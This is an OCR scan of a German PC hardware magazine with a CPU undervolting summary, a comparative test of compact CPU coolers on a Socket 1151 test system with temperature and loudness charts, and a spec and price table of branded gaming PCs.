(sw) 


Fazit Нагйшаге 


CPU-Undervolting 

Weniger Abwärme und geringere Be- 
triebskosten ohne Leistungsverlust — 
wer die Zeit zum Austesten hat, kann 
die Energieeffizienz jedes Prozessors 
steigern. Die PC-Leistungsaufnahme 
lässt sich bei CPU-Last typischerweise 
um rund 10-15 Prozent reduzieren. 


Sie das Limit kennen. 


I Sämtliche getesteten Prozessoren 
verkraften eine Offset-Einstellung 
von -0,100 Volt - ein guter Ein- 
stiegspunkt, um Zeit zu sparen. 

I Testen Sie die Stabilität nicht nur 
mit Volllast, sondern auch Single- 
Core-Last aus. Prime95 ist ideal. 

I Erzeugen Sie Lastwechsel zum 
Ausloten der minimalen Leerlauf- 


Video auf Heft-DVD 


Wir zeigen, welche 
Möglichkeiten es gibt, 
einen Ryzen 7 1700 zu 
undervolten und welche 
Auswirkungen die Einstel- 
lungen haben. Dabei gehen wir auch auf 
P-State-Tuning ein, um Overclocking mit 
Undervolting zu kombinieren. 


Watt 
< Besser 
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Kompakte CPU-Kühler 


Flache HTPCs sowie kompakte Micro-ATX- und Mini-ITX-PCs werden immer populärer. Aber womit 


kühlt man den Prozessor, wenn ausgewachsene Tower-Kühler gar nicht erst ins Gehäuse passen? 


icht ganz zu Unrecht wird den 
N PCGH-Kühlertests vorgewor- 
fen, etwas Oberklasse-lastig zu sein. 
Tatsächlich liegen Durchschnitts- 
größe und -preis der von uns in 
den letzten Jahren getesteten Küh- 
ler deutlich über dem Marktmittel. 


Damit spiegeln wir ganz bewusst 
die Interessen unser Leser wieder: 
Spiele-PCs benötigen eben mehr 
Kühlleistung als die breite Masse 
an Office-Rechnern und trotzdem 
wird weithin eine geringe Lautheit 
gefordert. Diesen Ansprüchen wer- 
den kleine Kühler selten gerecht. 
Umgekehrt wirken die zwischen 
einem typischen Einsteigerkühler 
und einem PCGH-Preis-Leistungs- 
Tipp liegenden 20 Euro-Einspar- 
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potenzial geradzu lächerlich, wenn 
man sie mit dem Gesamtpreis eines 
Gaming-Systems vergleicht. Es gibt 
aber auch Spieler und ambitionier- 
te Bastler, die kleine Kühler interes- 
sant finden - und das nicht wegen 
der niedrigen Preise. 


Kleine Trends 

Im Zuge der multimedialen Auf- 
rüstung in Wohnzimmern und der 
steigenden Effizienz von CPUs und 
GPUs haben sich in den letzten 
Jahren zwei Trends herauskristal- 
lisiert, die trotz unterschiedlicher 
Ausgangspunkte ähnliche Anfor- 
derungsprofile aufweisen: Home- 
Theater-Computer (HTPCs) für 
das Wohnzimmer sollen weiterhin 
klein und elegant, in Zukunft aber 


auch voll spiegeltauglich sein. Mini- 
Gaming-PCs wiederum versuchen 
auf kleinstem Raum vollwertige 
Leistung zu bieten. Beide Entwick- 
lungen profitieren von den Wand- 
lungen im Speichermarkt und fort- 
schreitender Onboard-Integration. 


So werden heute dedizierte Sound- 
karten und optische Laufwerke 
nur noch selten genutzt. 3,5-Zoll- 
Festplatten wurden von 2,5-Zoll- 
SSDs verdrängt und diese weichen 
zunehmend M.2-Modellen, wäh- 
rend Mainboards 
tegrierter I/O-Hubs mit weniger 
Chips immer mehr Schnittstellen 
auch auf kleinstem Raum anbie- 


dank hochin- 


ten kónnen. Insbesondere wenn 
neben Mini-ITX-Mainboards und 


mittlerweile verfügbarer, entspre- 
chend angepasster Grafikkarten 
noch ein SFX-Netzteil zum Einsatz 
kommt, würde ein konventioneller 
140-mm-Tower-Kühler beinahe die 
Hälfte des gesamten Rechnervolu- 
mens ausmachen. 


Kleine Systeme 

Kompaktere Lösungen sind also 
ein Muss für Mini-PCs. Vor allem 
die Höhe ist kritisch - in normalen 
PCs ist der CPU-Kühler mit 16 cm, 
zum Teil über 17 cm oft das höchs- 
te Objekt. Kompakte Gehäuse neh- 
men aber wenig Rücksicht auf die 
CPU-Kühlung und lassen sich eher 
nach dem Platzangebot für andere 
Komponenten, vor allem Erweite- 
rungskarten, kategorisieren: 
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I Bei 16 cm Gehäusebreite passt 
ein ATX-Netzteil in Quer-Position 
und über dem CPU-Sockel blei- 
ben 14 bis 15 cm lichte Höhe. 

112 bis 13 cm ragen Grafikkarten 
inklusive Stromkabel über das 
Mainboard hinaus - Gaming- 
Gehäuse stellen dem CPU-Kühler 
die gleiche Höhe zur Verfügung. 

I 10 cm Gehäusehöhe/-breite 
reichen gerade noch für ein 
liegendes ATX-Netzteil - und für 
8 bis 9 cm hohe CPU-Kühler. 

I SFX-Netzteile sind noch einmal 
zwei Zentimeter flacher, dicke 
Grafikkarten finden dank Risern 
weiterhin ihren Platz. 

I Micro-Systeme weichen auf ex- 
terne Netzteile aus und sind zum 
Teil nicht einmal hoch genug für 
ein ATX-I/O-Panel, geschweige 
denn über 4 cm hohe Kühler. 


Tower-Kühler mit Luftstrom par- 
allel zu Mainboard und Gehäuse- 
wand passen nur in Systeme der 
ersten beiden Kategorien. Für 
Top-Down-Kühler, die Luft in Rich- 
tung Mainboard blasen, muss gege- 
benenfalls zusátzlich noch etwas 
Freiraum über dem Lüfter einge- 
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plant werden - das effektive Platz- 
angebot reduziert sich um weitere 
2 cm, wenn eine Lüfteróffnung 
unmittelbar über dem Sockel fehlt. 
Eine direkte Frischluftzufuhr mit 
Trennung von Zu- und Abluft kann 
hierbei die CPU-Temperaturen 
deutlich verbessern und den typi- 
schen Leistungsrückstand von Top- 
Down- gegenüber Tower-Lósungen 
kompensieren. 


Kleine Anforderungen 

Kompakte PCs werden selten als 
High-End-Arbeitsrechner genutzt 
und müssen somit nicht für beson- 
ders CPU-intensive Anwendungen 
gerüstet sein - Spiele sind eher 
GPU-lastig und Multimedia-Anwen- 
dungen genügsam. Da umgekehrt 
die leise Kühlung hoher Verlust- 
leistungen auf kleinem Raum eine 
kaum lósbare Aufgabe ist, setzen 
Miniatur-Systeme bevorzugt 
sparsame Prozessoren. Eine effizi- 


auf 


ente Quad- und oft sogar eine Dual- 
Core-CPU reichen vollkommen aus. 
Kompakte Kühler werden für diese 
Anforderungen optimiert und bie- 
ten oft nur eine begrenzte Maxi- 
malleistung; nur wenige Modelle 


versuchen die fehlende Grófse mit 
besonders schnell drehenden, lau- 
ten Lüftern zu kompensieren. 


Für Tests ist dies ein Problem: Tem- 
peraturvergleiche sind nur inner- 
halb einer einheitlichen Plattform 
móglich. Die Leistungsunterschie- 
de zwischen  High-End-Kühlern 
lassen sich aber nur mit einer gro- 
ßen Verlustleistung herausstellen - 


denn genau dafür werden große 
Tower-Kühler konstruiert und ge- 
kauft. Konfrontiert man Miniatur- 
Kühler mit der gleichen Wärme- 
menge, so überschreitet man oft 
deren Spezifikationen und die Tem- 
peraturgrenzen der Test-CPUs. 


Kleines Testsystem 
Hiervon ist auch das standardisier- 
te PCGH-CPU-Kühlertestverfahren 


Auf einer Seite (hier links) endet Be Quiets Shadow Rock LP mit der Sockelbefesti- 
gung, auf der anderen Seite kann er flache RAM-Module oder Kühlkörper überragen. 
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betroffen. Der von uns typischer- 
weise genutzte 150-W-TDP-Xeon ist 
zwar gut geeignet, um die Unter- 
schiede zwischen 140-mm-Kühlern 
zu erfassen. Aber die bislang ge- 
testeten 92-mm-Modelle bewegten 
sich spätestens mit gedrosseltem 
Lüfter an der Grenze der Tempe- 
raturspezifikationen - oder über- 
schritten diese. Noch kleinere oder 
besonders flache Kühler können 


wir damit gar nicht testen, in vielen 
Fällen gibt es nicht einmal eine pas- 
sende Sockel-2011-Halterung. 


Deswegen nutzen wir für diesen 
Artikel ein abgewandeltes Test- 
system auf Sockel-1151-Basis. Mit 
einer spezifizierten TDP von 95 
Watt und einem Testverbrauch laut 
internem Sensor von 75 W entwi- 
ckelt ein Core i7-6700K (Skylake) 


1,0-Sone-Messung: Größe zahlt sich aus 


CPU-Temperatur; Core Damage, Serienlüfter bei 1,0 Sone 


ЕКІ Alpenfóhn Atlas YY 55,1 
Thermaltake Frio Silent 12 [Xu 58,4 
Noctua МН-095 [E 59,0 
Cryorig СТ a 60,7 
Be Quiet Shadow Rock LP E12 
ЕКІ Alpenfóhn Ben Nevis a 61,6 
Thermalright AXP 100RH. == 64,2 
Noctua NH-LYi u 73,5 
Thermaltake Engine 27 = 86,2 
Intel Boxed-Kühler (i5-6500) maximal 0,8 Sone 


System: i7-6700K; Asus Maximus IX Hero, Turbo Enhancement deaktiviert; Core Damage; 
EKL Alpenföhn Permafrost; offener Aufbau, frontaler Lüfter 180 mm 330 U/min. Bemer- 
kungen: Der Boxed-Kühler erreicht im offenen Aufbau nicht die nötigen Drehzahlen. 


°C 
< Besser 


Vergleich: Kühlleistung Sockel 2011 


CPU-Temperatur; Core Damage, Serienlüfter bei 1,0 Sone 


Noctua NH-D15 aa 50,8 
Thermalright Macho Direct === 52,1 
Arctic Freezer i32 a 53,0 
Thermaltake Frio Silent 12 54,7 
ЕКІ Alpenföhn Brocken Eco 222—5,9 
Be Quiet Pure Rock www 56,2 
ЕКІ Alpenföhn Atlas Ta 61,0 
Noctua МН-095 P 62 6 
ЕКІ Alpenfóhn Ben Nevis ws 
Cryorig СТ awas 
Be Quiet Shadow Rock LP aa 66,5 
Arctic Freezer i11 [X716 


System: Xeon E5-2687W (150 W TDP); Core Damage; EKL Permafrost; offener Aufbau, 
frontaler Lüfter 180 mm 330 U/min Bemerkungen: In normalen PCGH-Kühlertests 
haben die kleinen Teilnehmer unserer 1151-Sondermessung wenig Chancen. 


°C 
< Besser 


Hauptsache billig: Aktuelle Intel-Boxed-Kühler sind denkbar einfach aufgebaut, der 
Kühlkörper des i5-6500-Modells besteht aus einem einfachen Alu-Block. 
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kaum mehr als die Hälfte der Ab- 
wärme des Xeon E5-2687W (Sand 
Bridge E) aus normalen PCGH-Küh- 
lertests. Allerdings verfügt ersterer 
auch über eine schlechtere Wärme- 
leitung im Inneren des unverlöte- 
ten Prozessor-Packages - wundern 
Sie sich also nicht, wenn die in den 
CPU-Kernen gemessenen Tempera- 
turen nur wenig besser ausfallen. 
An der schlechten Wärmeleitung 
der unter dem integrierten Heat- 
spreader befindlichen Wärmeleit- 
paste können nur Bastler, aber kein 
Kühlerhersteller etwas ändern (sie- 
he PCGH 01/2016). Hinter diesem 
von Intel zu verantwortenden Fla- 
schenhals müssen sich die Testteil- 
nehmer aber mit weniger Abwär- 
me herumschlagen und liegen so 
enger beieinander. Insbesondere 
mit gedrosseltem Lüfter bleibt so 
ein größerer Abstand zu kritischen 
Temperaturen. 


Kleiner Testparcours 
Während Mainboard und Test- 
CPU neu sind, übernehmen wir 
das Test- und Wertungsverfahren 
größtenteils von regulären PCGH- 
Kühlertests. Die  Eigenschaften- 
und Ausstattungswertung kann so- 
gar 1:1 verglichen werden, bei den 
Leistungsmessungen gibt es aber 
zwei Ànderungen. Zum einen ha- 
ben wir die Notenskalierung an den 
geänderten Temperaturbereich 
angepasst. Zum anderen entfallen 
die Messungen mit Referenzlüfter, 
denn einige Testprobanden nutzen 
zugunsten einer kompakteren Bau- 
weise proprietäre Lüfterformate. 
Andere setzen auf extra flache Lüf- 
ter, die sich zwar auswechseln las- 
sen - bei Einsatz eines regulären, 
25 mm dicken Modells würde aber 
ein entscheidender Vorteil und 
Optimierungspunkt dieser Kühler 
verloren gehen. 


Wir messen daher ausschließlich 
mit dem vom Hersteller vorgesehe- 
nen Lüfter, dies aber wie gewohnt 
bei 100, 75 und 50 Prozent der Ma- 
ximaldrehzahl. Zusätzlich erfolgt 
noch eine Messung mit auf einheit- 
lich 1,0 Sone eingeregeltem Lüf- 
ter - so kann die Kühleffizienz, also 
die pro Lautheit erbrachte Leis- 
tung, direkt verglichen werden. 
Als Lastszenario nutzen wir  wei- 
terhin das Tool Core Damage. Die 
modernen AVX-Einheiten unserer 
Skylake-Test-CPU kann dieses zwar 
nur teilweise auslasten, mit 75 W 


Leistungsaufnahme (laut CPU-ei- 
genem Sensor) wird aber dennoch 
mehr Energie umgesetzt, als für 
viele Alltagssituationen typisch ist. 
Beachten Sie aber: Mit speziellen 
Testanwendungen lassen sich auch 
deutlich höhere Temperaturen er- 
zielen als hier gezeigt. 


Großes Testfeld 

Als einzeln stehende Sondermes- 
sung muss dieser Vergleich einen 
großen Bogen von Micro-Spezia- 
listen, die bislang nicht getestet 
werden konnten, hin zu relativ 
großen Kühlern schlagen, die 
den Bezug zu unseren bisherigen 
Messungen herstellen. Wir testen 
deswegen sechs Kühler aus drei 
Größenklassen ein zweites Mal, die 
auf der Sockel-2011-Plattform eine 
gemessen an ihrer Größe überzeu- 
gende Leistung ablieferten, von 
der größeren Konkurrenz aber an 
das hintere Ende der Wertungs- 
tabelle verbannt wurden. Die alten 
1,0-Sone-Messwerte Küh- 
ler bei 150 W Wärmeentwicklung 
finden Sie links zusammen mit 
Vergleichswerten beliebter High- 
End- und Budget-Kühler. Neu im 
Test sind drei Kühler, die nur auf 
den Sockel 1151 passen oder mit 
Sockel-2011-CPUs überfordert wä- 
ren, und ein Intel Boxed-Kühler als 
Referenzobjekt. Da es den i7-6700K 
wie alle „K“-Modelle nur ohne Küh- 


dieser 


ler zu kaufen gibt, haben wir uns 
ein Core-i5-Modell ausgeliehen. Bit- 
te beachten Sie, dass dieses und der 
Thermaltake Engine 27 nicht für 
die nominelle TDP des technisch 
eigentlich identischen Core i7 spe- 
zifziert ist. Hier gilt, wie eigentlich 
auch für das sehr diverse restliche 
Testfeld: Einige Kühler haben gar 
nicht den Anspruch, bei dieser 
Heizleistung beste Temperaturen 
zu erzielen. Dafür sind sie günstig 
oder passen in Systeme, in denen 
die Testsieger gar nicht montiert 
werden können. 


EKL Alpenföhn Atlas: Mini-Doppel- 
turm mit sehr guten Temperaturen. 
Kandidat 1 unseres Vergleichs 
sieht auf den ersten Blick wie das 
Topmodell aus gleichem Hause 
aus. Tatsächlich skaliert der At- 
las Aufbau und Design von EKLs 
Flagschiff „Olymp“ aus dem raum- 
greifenden Dwual-140-mm-Format 
auf 92-mm-Lüfter. Das Ergebnis ist 
ein Kühler mit großzügigem Luft- 
strom und erheblicher Tiefe, der 
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2 neue Skylake-X- 


PCGH-PCs 


Intel reagiert auf die Bedrohung von AMD und bietet mit dem Core i7-7800X und i7- 
7820X zwei neue interessante CPUs an, die es jetzt auch in unsere PCs schaffen. 


Hördware 


Hördware 


der Core 


ie AMDs Ryzen 7 1800X verfügt 
W i7-7820X über acht 
CPU-Kerne, wobei der Intel-Prozessor 
im Cinebench um sechs Prozent schnel- 
ler rechnet. Damit ist der neue PCGH- 
Maximum-PC das neue Flaggschiff 
unter den PCGH-PCs. Bei der Grafik- 
karte haben wir uns für die Gigabyte 
Aorus Geforce GTX 1080 Ti entschie- 
den, sodass auch Spielerherzen höher 
schlagen. Auf eine Festplatte haben wir 


keine 0 


zugunsten von 


Datenlager. Der 


Info: Bei den 

chwertige Ret 
ү EM-Produkte verbaut, 
hohe Qualit Е 
Lärmpegel zu ge 


ANZEIGE 


PCGH-PCS werden nur 
ail-Komponenten und 
um eine 
ät und einen niedrigen 
‚währleisten. 


zwei SSDs verzichtet. 


Neben der extrem schnellen Samsung 
960 Pro mit 512 GB dient noch eine 
Crucial MX300 mit einem Terabyte als 


neue PCGH-Ultimate- 


PC ist sehr ähnlich ausgestattet, nutzt 
aber den 6-Kern-Prozessor Core 
7800X. Weiterhin haben wir hier auf die 
Samsung 960 Pro verzichtet und neben 
der Crucial-SSD (1 TB) eine 4-TB-HDD 
von Seagate verbaut. 


i7- 


(dw) 


Hardware 


Offizielles PCGH-Produkt 


Hersteller/Bezugsquelle 


PCGH-Extreme-PC 
GTX1080-Edition V2 
Alternate (www.pcgh.de/alternate) 


GTX1080Ti-Edition 
Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


Alternate (www.pcgh.de/alternate) 


PCGH-Maximum-PC 
GTX1080Ti- 
Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/extreme-pc 


www.pcgh.de/ultimate2-pc 


www.pcgh.de/epic-pc 


www.pcgh.de/ryzen1800x-pc 


www.pcgh.de/maximum-pc 


Ausstattung 

Prozessor Intel Core i7-7700K (Sockel 1151) | Intel Core i7-7800X (Sockel 2066) |Intel Core i7-6800K (Sockel 2011-3), AMD Ryzen 7 1800X (Sockel AM4) | Intel Core i7-7820X (Sockel 2066) 
Grafikkarte Asus GTX 1080 Strix Advanced — | Gigabyte Aorus Geforce GTX 1080 Til Asus GTX 1080 Strix Advanced Asus Geforce GTX 1080 Ti Strix | Gigabyte Aorus Geforce GTX 1080 Ti 
Mainboard Asus Prime Z270-A Asus TUF X299 MARK 2 Asus Strix X99 Gaming Asus Crosshair VI Hero Asus TUF X299 MARK 2 


SSD-Laufwerk 


525-GB-SSD (Crucial MX300) 


1.050-GB-SSD (Crucial MX300) 


1 TB + 512 GB M.2 (Crucial/Sams.) 


1 TB + 512 GB M2 (Crucial/Samsung) 


1 TB + 512 GB M.2 (Crucial/Samsung) 


HDD-Laufwerk 


3.000-GB-HDD (Seagate/WD Red 


4.000-GB-HDD (Seagate Barracuda) 


Speicher 16 GB DDR4-2400 (Ballistix) 32 GB DDR4-2400 (Ballistix) 32 GB DDR4-2400 (Ballistix) 32 GB DDR4-2400 (Ballistix) 32 GB DDR4-2666 (Ballistix) 
Netzteil Seasonic G-Series 550W PCGH-Ed. Seasonic Focus Plus 750 Gold Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. Seasonic Focus Plus 750 Gold 
CPU-Kühler Scythe Mugen 4 PCGH-Edition Scythe Mugen 5 PCGH-Edition EKL Brocken 2 PCGH-Edition Scythe Mugen 5 PCGH-Edition Scythe Mugen 5 PCGH-Edition 
Gehäuse Fractal Design R5 PCGH-Edition Alternate-Seriengehäuse Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition Alternate-Seriengeháuse 
Laufwerk/Soundkarte Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 
Gehäuselüfter/Sonstiges 3 x Lüfter, WLAN-Karte 2 x Be quiet 140 mm, WLAN-Karte | З x Fractal-Lüfter, WLAN onboard | З х Fractal-Lüfter, WLAN onboard | 2 x Be quiet 140 mm, WLAN-Karte 
| Leistung -———— o 94 HN 

Lautstárke 2D (0,5 m) 0,2 Sone/21 dB(A) 0,4 Sone/23 dB(A) 0,2 Sone/19 dB(A) 0,2 Sone/19 dB(A) 0,4 Sone/23 dB(A) 
Lautstárke 3D (0,5 m) 1,0 Sone/30 dB(A) 1,3 Sone/31 dB(A) 1,0 Sone/29 dB(A) 0,6 Sone/26 dB(A) 1,2 Sone/31 dB(A) 
Leistungsaufnahme 2D/3D 43 Watt/289 Watt 68 Watt/371 Watt 69 Watt/309 Watt 56 Watt/330 Watt 66 Watt/379 Watt 

3D Mark (Fire Strike) 5.378 (U), 10.025 (E), 18.505 (S) | 6.952 (U), 12.930 (E), 19.075 (S) | 5.350 (U), 10.025 (E), 17.747 (S) | 7.134 (U), 13.276 (E), 19.887 (S) | 7.005 (U), 13.264 (E), 21.677 (S) 
Crysis 3/The Witcher 3 100 Fps/84 Fps 128 Fps/107 Fps 100 Fps/83 Fps 121 Fps/106 Fps 128 Fps/108 Fps 


Stalker: Call of Pripyat 


228 Fps (Sun Shafts, Ultra, 4x AA) 


215 Fps (Sun Shafts, Ultra, 4x AA) 


215 Fps (Sun Shafts, Ultra, 4x AA) 


183 Fps (Sun Shafts, Ultra, 4x AA) 


228 Fps (Sun Shafts, Ultra, 4x AA) 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Pro) 


(inkl. Windows 10 Pro) 


Aliens vs Predator Bench. 307 Fps (1.920 x 1.080) 374 Fps (1.920 x 1.080) 304 Fps (1.920 x 1.080) 411 Fps (1.920 x 1.080) 401 Fps (1.920 x 1.080) 
Cinebench R11.5 x64 (CPU) 10,88 Punkte 14,27 Punkte 12,04 Punkte 17,87 Punkte 18,99 Punkte 
PREIS - в - А 8 
ee €2.099, €2.579, €2.729, €2.999, €3.019, 
PREIS €2.199,- €2.729,- €2.829,- €3.149,- €3.169,- 


(inkl. Windows 10 Pro) 


(inkl. Windows 10 Pro) 


© Sehr schnelle Geforce GTX 1080 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


© Schnelle 6-Kern-CPU 
© Sehr schnelle GTX 1080 Ti 
© Hoher Stromverbrauch 


© 6-Kern-CPU und Asus GTX 1080 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Stromverbrauch in 2D 


© 8-Kern-CPU extrem schnell 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Preis 


© 8-Kern-CPU extrem schnell 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Stromverbrauch 


PC ist sofort einsatzbereit. 


* Preiserfassung und Produktdaten vom 23.08.2017, unter www.pcgh.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch sämtliche Treiber installiert und der 
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aber bequem in Gehäuse der Kate- 
gorie 2 passt und selbst auf engen 
ITX-Mainboards nicht in Konflikt 
mit der Grafikkarte gerät. Hohe 
Speichermodule sind dagegen ein 
Problem für den überhängenden 
Frontlüfter des Atlas. Zwar kann 
dieser auch höher am Kühlkörper 


montiert werden, dann schrumpft 
aber der Höhenvorteil. 


Sachgerecht eingesetzt glänzt der 
Atlas nicht nur mit seinem polier- 
ten Top-Cover, sondern vor allem 
durch seine Kühlleistung. Beinahe 
über das gesamte Lautheits-Spek- 


140-mm-Top-Down-Kühler wie der Cryorig C1 sind zwar flach und vergleichsweise 
stark, aber auch breit, was zu Problemen mit Erweiterungskarten führen kann. 


trum wird der Größenvorteil in 
einen Leistungsvorsprung umge- 
setzt; bei 1,0 Sone liegt EKL bereits 
satte 3 Kelvin vor dem zweiteffizi- 
entesten Kühler. Das überrascht, 
denn im Kreis der bereits auf der 
Sockel-2011-Plattform getesteten 
Kühler nahm der Atlas keine her- 
vorragende Stellung ein. Vom Platt- 
formwechsel profitiert er aber 3 bis 
4 Kelvin stärker als die Konkurrenz 
und das einheitlich über das gesam- 
te Leistungsspektrum hinweg, un- 
abhängig vom Vergleichspartner. 
Offensichtlich zahlt sich das tiefe 
Doppelturmdesign erst bei nied- 
rigeren Wärmelasten und einer 
entsprechend kleinen Temperatur- 
differenz zwischen Lamellen und 
anströmender Luft aus. 


Thermaltake Frio Silent 12: Hoher 
Kühler, optimiert für hohe Leistung. 
Das genaue Gegenteil zum Atlas 
stellt der Frio 12 dar. Statt mehrer 
kleiner Lüfter setzt er auf einen 


großen; an Stelle zweier tiefer La- 
mellenpakete ragt er hoch, aber 
sehr schlank auf. Das schränkt die 
Systemkompatibilität leicht ein 
- der Frio Silent 12 ist zwar der 
kleinste Tower-Kühler mit 12-cm- 
Lüfter, aber in unserem Vergleich 
ist er ein Riese. Im Gegenzug hat er 
auf dem Sockel-2011-System bereits 
eine Leistungsfähigkeit im Bereich 
normaler, deutlich höherer 12-cm- 
Tower-Kühler unter Beweis gestellt 
und startete als Favorit ins Rennen 
um die Sockel-1151-Krone. 


Die Skalierung beim Plattform- 
wechsel stellt aber ebenfalls das 
Gegenteil zum Atlas dar: Bei ker 
nem anderen Kühler sinken die 
Temperaturen mit abnehmender 
Heizleistung so wenig wie beim 
Frio Silent 12. So wird aus dem 
großzügigen Vorsprung im Xeon- 
Testsystem ein immer noch guter 
zweiter Platz beim Sockel-1151-Ein- 
satz. Als Ursache tippen wir erneut 


Kühlleistung: Sehr große Unterschiede 


Lautheit: Klein und trotzdem leise 


CPU-Temperatur; Core Damage, Serienlüfter 100 Prozent 


ЕКІ Alpenföhn Atlas a 54,9 
Noctua МН-095 =a 57,5 
Thermaltake Frio Silent 12 wa 58,6 
Cryorig СТ ua 58,6 
Be Quiet Shadow Rock LP == 60,4 
ЕКІ Alpenfóhn Ben Nevis === 60,8 
Thermalright АХР 100RH aa 61,5 
Noctua NH-LYi Xm 68,7 
Thermaltake Engine 27 Vo 84,3 
Intel Boxed-Kühler (i5-6500) | 85,4 


CPU-Temperatur; Core Damage, Serienlüfter 75 Prozent 


ЕКІ Alpenföhn Atlas a 57,1 
Noctua МН-095 EXER 59,8 
Cryorig СТ u 60,0 
Thermaltake Frio Silent 12 w 60,2 
ЕКІ Alpenföhn Ben Nevis ml 61,9 
Be Quiet Shadow Rock LP == 62,4 
Thermalright АХР 100RH maa 64,2 
Noctua NH-L9i X 73,5 
Thermaltake Engine 27 [Xm 88,6 
Intel Boxed-Kühler (15-6500) === 
CPU-Temperatur; Core Damage, Serienlüfter 50 Prozent 
Cryorig СТ Em 63,2 
ЕКІ Alpenfóhn Atlas EX 63,2 
Noctua МН-095 ШШШ 63,6 
Thermaltake Frio Silent 12 === 64,4 
ЕКІ Alpenföhn Ben Nevis Ж 65,2 
Be Quiet Shadow Rock LP www; 67,4 
Thermalright AXP 100RH aaa 68,7 
Noctua NH-L9j a 81,4 
Thermaltake Engine 27 = >100 
Intel Boxed-Kühler (15-6500) ME > 100 


Lüfterlautheit in 50 cm Entfernung, Serienlüfter 100 Prozent 


Intel Boxed-Kühler (15-6500) ШШШ 0,8 
Thermaltake Frio Silent 12 EEE 1,1 
Be Quiet Shadow Rock LP 14 
ЕКІ Alpenföhn Atlas Eu 1,5 
Thermaltake Engine 27 EEE 1,6 
ЕКІ Alpenfóhn Ben Nevis ШШШ 2,1 
Thermalright AXP 100RH aa 2,2 
Noctua NH-U9S [X 2,5 
Noctua NH-L9j = 3,0 
Cryorig СТ Wr 
Lüfterlautheit in 50 cm Entfernung, Serienlüfter 75 Prozent 


Intel Boxed-Kühler (15-6500) ME 0,3 
Thermaltake Frio Silent 12 В 0,4 
ЕКІ Alpenföhn Atlas IE 0,5 
Be Quiet Shadow Rock LP EEE 0,5 
Thermaltake Engine 27 EM 0,5 
ЕКІ Alpenfóhn Ben Nevis FE 0,6 
Noctua NH-U95 E 0,8 
Thermalright АХР 100RH [1,0 
Noctua NH-L9j Ee 1,0 
Cryorig СТ EE 1,5 
Lüfterlautheit in 50 cm Entfernung, Serienlüfter 50 Prozent 


Intel Boxed-Kühler (i5-6500) H 0,1 
Be Quiet Shadow Rock LP 0,1 
Thermaltake Engine 27 8 0,1 
Thermaltake Frio Silent 12 8 0,1 
ЕКІ Alpenfóhn Ben Nevis E 0,1 
Noctua NH-U9S 8 0,1 

ЕКІ Alpenfóhn Atlas В 0,2 

Thermalright АХР 100RH [0,2 

Noctua NH-L9i #8 0,2 

Cryorig СТ EEE 0,5 


System: Core i7-6700K; Maximus IX Hero, Turbo Enhancement deaktiviert; Core Damage; 
ЕКІ Permafrost; offener Aufbau, frontaler Lüfter 180 mm Bemerkungen: Engine 27 und 
der Intel Boxed-Kühler sind nicht für 95-W-TDP freigegeben und mit dieser überfordert. 


°C 
< Besser 


System: Kühler freistehend, Lüfterregelung mit Zalman ZM-MFC3; Messung frontal 
Bemerkungen: Obwohl es einige Teilnehmer durchaus nötig hätten, versucht kaum 
jemand zusätzliche Kühlleistung auf Kosten der Lautheit zu generieren. 


Sone 
< Besser 
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auf das Design der Lamellen: Die 
sind beim Frio sehr schlank und 
engstehend. Auch bei hohen Wär- 
melasten und Temperaturen muss 
also kein Teil des Kühlers mit Luft 
arbeiten, die von anderen schon 
vorgewärmt wurde. Bleibt der 
ganze Kühler aufgrund geringer 
Abwärme allgemein kalt, spielt die- 
ser Vorteil kaum noch eine Rolle. 
Der Frio lohnt sich gegenüber dem 
ähnlich teuren, flacheren Atlas also 
nur, wenn eine Hochleistungs-CPU 
gekühlt werden soll. 


Noctua NH-U9S: Kompakt, hoch- 
wertig & leistungsstark, aber teuer. 
Rund 15 Euro teurer als die beiden 
Bestplatzierten ist der dritte Küh- 
ler im Bunde. Noctuas NH-U9S 
kommt ebenfalls als Schrumpf- 
Design daher, diesmal wurde aber 
ein Single-Tower auf das 92-mm- 
Format eingedampft. Geblieben 
ist ein würfelförmiger Kühler, der 
ähnlich hoch wie EKLs Atlas ist, 
aber quasi nicht über die Sockel- 
1151-Kühlerhalterung hinausragt. 
Kompatibilitätsprobleme mit RAM, 
Grafikkarten Spannungs- 
wandlerkühlern sind hier ausge- 
schlossen, nur die Gehäusehöhe 


oder 


muss beachtet werden. 


In den Leistungsmessungen über- 
zeugt Noctua mit der drittbesten 
Effizienz und der zweitbesten 
Spitzenleistung - letzterer wird 
aber mit deutlich hörbaren Lüfter- 
geräuschen gekauft. Dank des ex- 
trem weiten Lüfter-Regelbereiches, 
den auch keine Nebengeräusche 
weiter einschränken, kann der NH- 
U9S dennoch gut im Ultra-Silent- 
Bereich betrieben werden - und 
liefert hier bei gleicher Lautheit 
sogar bessere Temperaturen als die 
größere Konkurrenz von EKL. 


Be Quiet Shadow Rock LP: Leise, 
flach & angemessen leistungsstark. 
Während oben genannte Kühler 
geschrumpfte Ableger großer To- 
wer-Kühler sind, folgt auf Platz vier 
das erste Top-Down-Modell. Prinzi- 
piell ist diese Bauform mit in Rich- 
tung des Mainboards orientiertem 
Lüfter leistungsschwächer, denn 
ihre Lamellentiefe ist begrenzt und 
Warmluft kann hinter dem Kühl- 
körper nicht ungehindert abströ- 
men. Außerdem profitieren Top- 
Down-Kühler nicht vom beliebten 
vorne-rein-hinten-raus-Konzept 
zur Gehäusebelüftung und laufen 
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sogar Gefahr, ihre warme Abluft 
ein zweites Mal anzusaugen. Dafür 
haben sie einen großen Vorteil: 
Die Bauhöhe ist unabhängig vom 
Lüfterdurchmesser. So kann Be 
Quiet trotz 81 mm Gesamthöhe 
einen vollwertigen, auch einzeln 
gern empfohlenen 120-cm-Pure- 
Wing-Lüfter unterbringen. Tower- 
Kühler könnten bei gleicher Höhe 
maximal 70-mm-Lüfter nutzen und 
